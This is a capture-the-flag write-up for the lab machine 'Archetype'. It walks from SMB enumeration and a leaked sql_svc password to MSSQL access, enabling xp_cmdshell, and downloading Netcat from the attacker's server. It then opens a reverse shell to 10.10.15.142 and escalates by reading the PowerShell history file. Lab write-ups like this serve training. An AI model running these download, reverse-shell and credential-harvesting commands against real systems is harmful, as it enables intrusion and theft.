← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

Archetype.md

IP: 10.129.95.187
OS: windows
Difficulty: Easy
Date: 10/26/2026
Source: TryHackMe

Nmap

nmap -sV -sC -p- <IP>

Open ports:

Port State Service Version
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Enumeration

SMB

Found a share called backups with only read privileges, so I checked it out.

Found this file and started checking it out.

Found a password, m3g4c0rp123, and user ID ARCHETYPE\sql_svc.

After getting the password, I started looking for ways to gain access and used impacket-mssqlclient.

impacket-mssqlclient -windows-auth ARCHETYPE/sql_svc@10.129.95.187

Found that we are the sysadmin based on the 1 received as output.

At first, xp_cmdshell was turned off, so I enabled it again using the following command.

enable_xp_cmdshell
RECONFIGURE
xp_cmdshell "whoami"

Downloaded the nc64.exe binary from GitHub.

Foothold

**Vulnerability:** `xp_cmdshell` was easily enabled on the Windows machine.

**Exploit:** Used it to get a Netcat shell.

Start the Python server

python3 -m http.server 9001

Download Netcat

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http:10.10.15.142:9001/nc64.exe -outfile nc64.exe"

Start a Netcat listener

sudo nc -lvnp 9001

Get the Netcat shell

xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe 10.10.15.142 9001"

Privilege Escalation

Vector: Reading the PowerShell history.

Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHistory.txt

Technique:

Then used it to authenticate to the administrator.

impacket-psexec administrator@10.129.95.187

Flags

← BACK TO WRITEUPSMAZEN. / HOME